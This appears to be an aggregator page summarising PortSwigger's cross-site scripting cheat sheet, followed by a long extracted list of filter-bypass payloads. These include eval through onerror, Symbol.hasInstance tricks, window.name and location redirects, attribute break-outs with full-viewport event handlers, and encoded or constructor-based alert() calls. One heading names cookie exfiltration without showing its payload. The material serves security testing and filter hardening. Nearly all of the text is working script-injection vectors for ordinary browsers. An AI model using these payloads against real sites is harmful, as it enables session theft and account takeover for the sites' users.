Cross-Site Scripting (XSS) Cheat Sheet
PortSwigger's XSS cheat sheet lists filter-bypass patterns for script injection across major browsers, without a new CVE.
PortSwigger's Cross-Site Scripting cheat sheet is a reference of payload patterns intended to bypass XSS filters in major browsers. The entries describe families of tricks such as exception handling, template strings, location and window-name redirects, ES6 language features, uppercase script tags, and dense JavaScript encodings. It is a long-standing Web Security Academy resource rather than disclosure of a new vulnerability or an active campaign. The listing names no CVE, affected product incident, or confirmed in-the-wild exploitation.
- Reference catalog of XSS filter-bypass patterns, not a new vulnerability.
- Covers parenthesis-free, quote-free, and encoding-based vectors.
- Patterns are noted as varying across Chrome, Edge, Firefox, and Safari.
- No CVE or confirmed exploitation campaign is described.
Full article1,517 words · extracted from portswigger.net · click to collapse
No parentheses using exception handling no semi colons using expressions
No parentheses using exception handling and string eval on Chrome / Edge
No parentheses using exception handling and string eval on Safari
No parentheses using exception handling and object eval on Firefox
No parentheses using exception handling and object eval on Firefox / Safari
<script>throw onerror=eval,e=new Error,e.message='alert\x281\x29',e</script>
No parentheses using exception handling and location hash eval on all browsers
No parentheses, no quotes, no spaces using exception handling and location hash eval on all browsers
No parentheses, no quotes, no spaces, no curly brackets using exception handling and location hash eval on all browsers
No parentheses using ES6 hasInstance and instanceof with eval
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
No parentheses using ES6 hasInstance and instanceof with eval without .
<script>'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}</script>
No parentheses using location redirect no strings
<script>window.name='alert(1)';</script><script>location=name</script>
No parentheses using template strings and location hash
<script>new Function`X${document.location.hash.substr`1`}`</script>
No parentheses or spaces, using template strings and location hash
<script>Function`X${document.location.hash.substr`1`}```</script>
XSS cookie exfiltration without parentheses, backticks or quotes
Destructuring using default values and onerror
Vector using window.name
<script>window.name='javascript:alert(1)';</script><svg onload=location=name>
Avoiding Invalid left-hand side in assignment without `, (), ?, [], or , using object literal
<script>window.name='javascript:alert(1)';function blah(){}
blah(""+{a:location=name}+"")</script>
Avoiding Invalid left-hand side in assignment without `, (), ?, [], or , using new class
Script tag using only uppercase using JSFuck and inline
ondevicemotion and URIError object
ondeviceorientation and Error object
ondeviceorientationabsolute and WebTransportError object
onpagereveal and AggregateError object
onpageswap and EvalError object
onmessage and RangeError object
onhashchange and Regex object
onscroll and ReferenceError object
onscrollend and SyntaxError object
onselect and TypeError object
ontransitionstart / ontransitionend / ontransitionrun and Arrow function
onload and DOMException object
onpageshow and WebTransportError object
onerror and ReferenceError without throw
onerror and Error object on Firefox and Safari
<script>throw onerror=eval,x=new Error,x.message='alert\x281\x29',x</script>
onerror and Error object on Chrome
<script>throw onerror=eval,x=new Error,x.name='',x.message='=alert\x281\x29',x</script>
Redefining onerror and concealing the payload in attributes
<img src onerror=src=1,attributes[1].value=alt+id alt=ale id=rt(1)>
Attributes and SVG with payload concealed in window name
<script>window.name='alert(1)';</script><svg onload="attributes[0].value=name,new onload">
Attributes and SVG and onload event with payload concealed in URL and template strings
<svg onload="attributes[0].value=id+URL+id,new onload" id=`>
Attributes and input with onfocus event with payload concealed in URL and template strings
<input onfocus="attributes[0].value=id+URL+id,new onfocus" id=` autofocus>
Attributes and input with onclick event with payload concealed in URL and template strings requires two clicks
Form action and input with payload concealed in window name
<form><input onclick="formAction=top.name,type='submit',new submit">
SVG and innerHTML to decode the URL then assign it with textContent payload concealed in URL
img and innerHTML to decode the URL then assign it with textContent payload concealed in URL
innerHTML to decode the URL then eval it using textContent payload concealed in URL
innerHTML and outerHTML to avoid use of greater than
String.fromCharCode(0x61) + self[] access (js_string_single)
String.fromCodePoint(0x61) + self[] access (js_string_single)
decodeURIComponent('%61') + self[] access (js_string_single)
location=javascript: \u paren + \u0028 escape (js_string_single)
Symbol.hasInstance+eval (js_string_single)
javascript: URL via : entity in JS + : entity (inline, no ;) (attribute_href)
javascript: URL via 	 entity (inline, with ;) (attribute_href)
javascript: URL via 	 entity (inline, with ;) (attribute_href)
javascript: URL via 	 entity (inline, no ;) (attribute_href)
javascript: URL via 	 entity (inline, no ;) (attribute_href)
{}.constructor.constructor() (js_string_single)
''.constructor.constructor() (js_string_single)
[].constructor.constructor() (js_string_single)
0..constructor.constructor() (js_string_single)
0n.constructor.constructor() (js_string_single)
createElement('script')+append (js_string_single)
'-[s=document.createElement('script'),s.append('a'+'lert(1)'),document.documentElement.append(s)]-'
attribute break-out with onfocus (slash-sep) +tabindex +autofocus (attribute_double)
attribute break-out with onfocusin (slash-sep) +tabindex +autofocus (attribute_double)
attribute break-out with onmousemove (slash-sep) (attribute_double)
"/onmousemove=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /
attribute break-out with onmouseenter (slash-sep) (attribute_double)
"/onmouseenter=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /
attribute break-out with onpointerenter (slash-sep) (attribute_double)
attribute break-out with onpointermove (slash-sep) (attribute_double)
"/onpointermove=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /
attribute break-out with onpointerover (slash-sep) (attribute_double)
"/onpointerover=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /
attribute break-out with onpointerrawupdate (slash-sep) (attribute_double)
attribute break-out with onmousedown (slash-sep) (attribute_double)
"/onmousedown=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /
attribute break-out with onmouseup (slash-sep) (attribute_double)
"/onmouseup=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /
attribute break-out with onpointerdown (slash-sep) (attribute_double)
"/onpointerdown=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /
attribute break-out with onpointerdown (slash-sep) (attribute_double) #2
"/onpointerdown=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /
attribute break-out with onfocus (slash-sep) +autofocus (attribute_double)
attribute break-out with onfocusin (slash-sep) +autofocus (attribute_double)
attribute break-out with onmousemove (slash-sep) (attribute_double) #2
"/onmousemove=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /
attribute break-out with onmouseenter (slash-sep) (attribute_double) #2
"/onmouseenter=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /
attribute break-out with onpointerenter (slash-sep) (attribute_double) #2
attribute break-out with onpointermove (slash-sep) (attribute_double) #2
"/onpointermove=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /
attribute break-out with onpointerover (slash-sep) (attribute_double) #2
"/onpointerover=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /
attribute break-out with onpointerrawupdate (slash-sep) (attribute_double) #2
attribute break-out with onmousedown (slash-sep) (attribute_double) #2
"/onmousedown=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /
attribute break-out with onmouseup (slash-sep) (attribute_double) #2
"/onmouseup=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /
attribute break-out with onpointerdown (slash-sep) (attribute_double) #3
"/onpointerdown=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /
attribute break-out with onpointerdown (slash-sep) (attribute_double) #4
"/onpointerdown=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /
attribute break-out with onfocus (unquoted) +autofocus (attribute_unquoted)
attribute break-out with onfocusin (unquoted) +autofocus (attribute_unquoted)
attribute break-out with onmousemove (unquoted) (attribute_unquoted)
1 onmousemove=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /
attribute break-out with onmouseenter (unquoted) (attribute_unquoted)
1 onmouseenter=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /
attribute break-out with onpointerenter (unquoted) (attribute_unquoted)
attribute break-out with onpointermove (unquoted) (attribute_unquoted)
1 onpointermove=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /
attribute break-out with onpointerover (unquoted) (attribute_unquoted)
1 onpointerover=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /
attribute break-out with onpointerrawupdate (unquoted) (attribute_unquoted)
attribute break-out with onpointerrawupdate (unquoted) (attribute_unquoted) #2
attribute break-out with onmouseup (unquoted) (attribute_unquoted)
1 onmouseup=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /
attribute break-out with onpointerdown (unquoted) (attribute_unquoted)
1 onpointerdown=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /
attribute break-out with onfocus (quoted-handler) +autofocus (attribute_double)
attribute break-out with onfocusin (quoted-handler) +autofocus (attribute_double)
attribute break-out with onmousemove (quoted-handler) (attribute_double)
"onmousemove="alert(1)"style="position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0" /
attribute break-out with onmouseenter (quoted-handler) (attribute_double)
attribute break-out with onpointerenter (quoted-handler) (attribute_double)
attribute break-out with onpointermove (quoted-handler) (attribute_double)
attribute break-out with onpointerover (quoted-handler) (attribute_double)
attribute break-out with onpointerrawupdate (quoted-handler) (attribute_double)
attribute break-out with onmouseup (quoted-handler) (attribute_double)
"onmouseup="alert(1)"style="position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0" /
attribute break-out with onpointerdown (quoted-handler) (attribute_double)
<xss> with onfocus using atob.constructor() (html)
<xss tabindex=1 autofocus onfocus=atob.constructor('a'+'lert(1)')()>
<xss> with onfocus using btob.constructor() (html)
<xss tabindex=1 autofocus onfocus=btob.constructor('a'+'lert(1)')()>
<xss> with onfocus using Ink.constructor() (html)
<xss tabindex=1 autofocus onfocus=Ink.constructor('a'+'lert(1)')()>
<xss> with onfocus using HID.constructor() (html)
<xss tabindex=1 autofocus onfocus=HID.constructor('a'+'lert(1)')()>
<xss> with onfocus using GPU.constructor() (html)
<xss tabindex=1 autofocus onfocus=GPU.constructor('a'+'lert(1)')()>
<xss> with onfocus using when.constructor() (html)
<xss tabindex=1 autofocus onfocus=when.constructor('a'+'lert(1)')()>
<xss> with onfocus using find.constructor() (html)
<xss tabindex=1 autofocus onfocus=find.constructor('a'+'lert(1)')()>
<xss> with onfocus using print.constructor() (html)
<xss tabindex=1 autofocus onfocus=print.constructor('a'+'lert(1)')()>
<xss> with onfocus using Set.constructor() (html)
<xss tabindex=1 autofocus onfocus=Set.constructor('a'+'lert(1)')()>
<xss> with onfocus using {}.constructor.constructor() (html)
<xss tabindex=1 autofocus onfocus={}.constructor.constructor('a'+'lert(1)')()>
<xss> with onfocus using ''.constructor.constructor() (html)
<xss tabindex=1 autofocus onfocus=''.constructor.constructor('a'+'lert(1)')()>
<xss> with onfocus using [].constructor.constructor() (html)
<xss tabindex=1 autofocus onfocus=[].constructor.constructor('a'+'lert(1)')()>
<xss> with onfocus using 0..constructor.constructor() (html)
<xss tabindex=1 autofocus onfocus=0..constructor.constructor('a'+'lert(1)')()>
<xss> with onfocus using 0n.constructor.constructor() (html)
<xss tabindex=1 autofocus onfocus=0n.constructor.constructor('a'+'lert(1)')()>
<xss> with onfocus using createElement('script')+append (html)
<xss tabindex=1 autofocus onfocus=s=createElement('script'),s.append('a'+'lert(1)'),this.append(s)>
<xss> with onfocus using location.replace(javascript:) (html)
<xss tabindex=1 autofocus onfocus=location.replace('javascript:a\lert(1)')>
<xss> with onfocus using location='javascript:a\lert(1)' (html)
<xss tabindex=1 autofocus onfocus=location='javascript:a\lert(1)'>
<xss> with onfocus using location=self.name (html)
<xss> with onfocus using location=frames.name (html)
<xss> with onfocus using location=globalThis.name (html)
<xss> with onfocus using location=globalThis.name (html) #2
<xss> with onerror+onfocus using throw self.onerror=alert + /**/ comment as space + a entity in JS (html)
<xss tabindex=1 autofocus onfocus=throw/**/self.onerror=alert,1>
<xss> with onerror+onfocus using throw frames.onerror=alert + /**/ comment as space + a entity in JS (html)
<xss tabindex=1 autofocus onfocus=throw/**/frames.onerror=alert,1>
<xss> with onerror+onfocus using throw globalThis.onerror=alert + /**/ comment as space + a entity in JS (html)
<xss tabindex=1 autofocus onfocus=throw/**/globalThis.onerror=alert,1>
<xss> with onerror+onfocus using throw self.onerror=alert + a entity in JS + quoted handler value (html)
<xss tabindex=1 autofocus onfocus="throw self.onerror=alert,1">
<xss> with onerror+onfocus using throw frames.onerror=alert + a entity in JS + quoted handler value (html)
<xss tabindex=1 autofocus onfocus="throw frames.onerror=alert,1">
<xss> with onerror+onfocus using throw globalThis.onerror=alert + a entity in JS + quoted handler value (html)
<xss tabindex=1 autofocus onfocus="throw globalThis.onerror=alert,1">
<xss> with onerror+onfocus using throw defaultView.onerror=alert + a entity in JS + quoted handler value (html)
<xss tabindex=1 autofocus onfocus="throw defaultView.onerror=alert,1">
<xss> with onerror+onfocus using throw defaultView.onerror=alert + defaultView[] access + quoted handler value (html)
<xss> with onerror+onfocus using throw defaultView.onerror=alert + 	 as space + defaultView[] access (html)
<xss> with onerror+onfocus using throw defaultView.onerror=alert +   as space + defaultView[] access (html)
<xss> with onerror+onfocus using throw self.onerror=alert +   as space + self[] access (html)
<xss title=aler id=t tabindex=1 autofocus onfocus=throw self.onerror=self[title+id],1>
<xss> with onerror+onfocus using throw globalThis.onerror=alert +   as space + globalThis[] access (html)
<xss> with onerror+onfocus using throw frames.onerror=alert +   as space + frames[] access (html)
<xss title=aler id=t tabindex=1 autofocus onfocus=throw frames.onerror=frames[title+id],1>
<xss> with onfocus using location=title+id (( parens) (html)
<xss> with onfocus using location=title+id (( parens) (html)
<xss> with onfocus using location=title+id (( parens) (html)
<xss> with onfocus using window[] access (html)
<xss> with onfocus using template-literal `a` string + window[] access (html)
<xss> with onfocus using \u{0061} escape (html)
<xss> with onfocus using \u{00000000000061} escape (html)
<xss tabindex=1 autofocus onfocus=\u{00000000000061}lert(1)>
<xss> with onfocus using self[] access (html)
<xss> with onfocus using template-literal `a` string + self[] access (html)
<xss> with onfocus using \a literal in string + self[] access (html)
<xss> with onfocus using \x61 escape + self[] access (html)
<xss> with onfocus using \141 octal escape + self[] access (html)
<xss> with onfocus using /a/.source + self[] access (html)
<xss tabindex=1 autofocus onfocus=self[/a/.source+/lert/.source](1)>
<xss> with onfocus using atob.name[0] + self[] access (html)
<xss tabindex=1 autofocus onfocus=self[atob.name[0]+'lert'](1)>
<xss> with onfocus using atob.name[0] + self[] access (html) #2
<xss tabindex=1 autofocus onfocus=self[atob.name[0]+'lert'](1)>
<xss> with onfocus using String.fromCharCode(0x61) + self[] access (html)
<xss tabindex=1 autofocus onfocus=self[String.fromCharCode(0x61)+'lert'](1)>
<xss> with onfocus using String.fromCodePoint(0x61) + self[] access (html)
<xss tabindex=1 autofocus onfocus=self[String.fromCodePoint(0x61)+'lert'](1)>
<xss> with onfocus using 10..toString(17) + self[] access (html)
<xss tabindex=1 autofocus onfocus=self[10..toString(17)+'lert'](1)>
<xss> with onfocus using 10n.toString(17) + self[] access (html)
<xss tabindex=1 autofocus onfocus=self[10n.toString(17)+'lert'](1)>
<xss> with onfocus using 0xa.toString(17) + self[] access (html)
<xss tabindex=1 autofocus onfocus=self[0xa.toString(17)+'lert'](1)>
<xss> with onfocus using 0b1010.toString(17) + self[] access (html)
<xss tabindex=1 autofocus onfocus=self[0b1010.toString(17)+'lert'](1)>
<xss> with onfocus using 0o12.toString(17) + self[] access (html)
<xss tabindex=1 autofocus onfocus=self[0o12.toString(17)+'lert'](1)>
<xss> with onfocus using atob('YQ==') + self[] access (html)
<xss tabindex=1 autofocus onfocus=self[atob('YQ==')+'lert'](1)>
<xss> with onfocus using unescape('%61') + self[] access (html)
<xss tabindex=1 autofocus onfocus=self[unescape('%61')+'lert'](1)>
<xss> with onfocus using decodeURI('%61') + self[] access (html)
<xss tabindex=1 autofocus onfocus=self[decodeURI('%61')+'lert'](1)>
<xss> with onfocus using decodeURIComponent('%61') + self[] access (html)
<xss tabindex=1 autofocus onfocus=self[decodeURIComponent('%61')+'lert'](1)>
<xss> with onfocus using +[] coercion + self[] access (html)
<xss> with onfocus using frames[] access (html)
<xss> with onfocus using 10n.toString(17) + defaultView[] access (html)
<xss tabindex=1 autofocus onfocus=defaultView[10n.toString(17)+'lert'](1)>
<xss> with onfocus using 0xa.toString(17) + defaultView[] access (html)
<xss tabindex=1 autofocus onfocus=defaultView[0xa.toString(17)+'lert'](1)>
<xss> with onfocus using 0b1010.toString(17) + defaultView[] access (html)
<xss tabindex=1 autofocus onfocus=defaultView[0b1010.toString(17)+'lert'](1)>
<xss> with onfocus using 0o12.toString(17) + defaultView[] access (html)
<xss tabindex=1 autofocus onfocus=defaultView[0o12.toString(17)+'lert'](1)>
<xss> with onfocus using atob('YQ==') + defaultView[] access (html)
<xss tabindex=1 autofocus onfocus=defaultView[atob('YQ==')+'lert'](1)>
<xss> with onfocus using unescape('%61') + defaultView[] access (html)
<xss tabindex=1 autofocus onfocus=defaultView[unescape('%61')+'lert'](1)>
<xss> with onfocus using decodeURI('%61') + defaultView[] access (html)
<xss tabindex=1 autofocus onfocus=defaultView[decodeURI('%61')+'lert'](1)>
<xss> with onfocus using decodeURIComponent('%61') + defaultView[] access (html)
<xss tabindex=1 autofocus onfocus=defaultView[decodeURIComponent('%61')+'lert'](1)>
<xss> with onfocus using +[] coercion + defaultView[] access (html)
<xss tabindex=1 autofocus onfocus=defaultView['a'+[]+'lert'](1)>
<xss> with onfocus using defaultView[] access (html)
<xss tabindex=1 autofocus onfocus=defaultView['a'+'lert'](1)>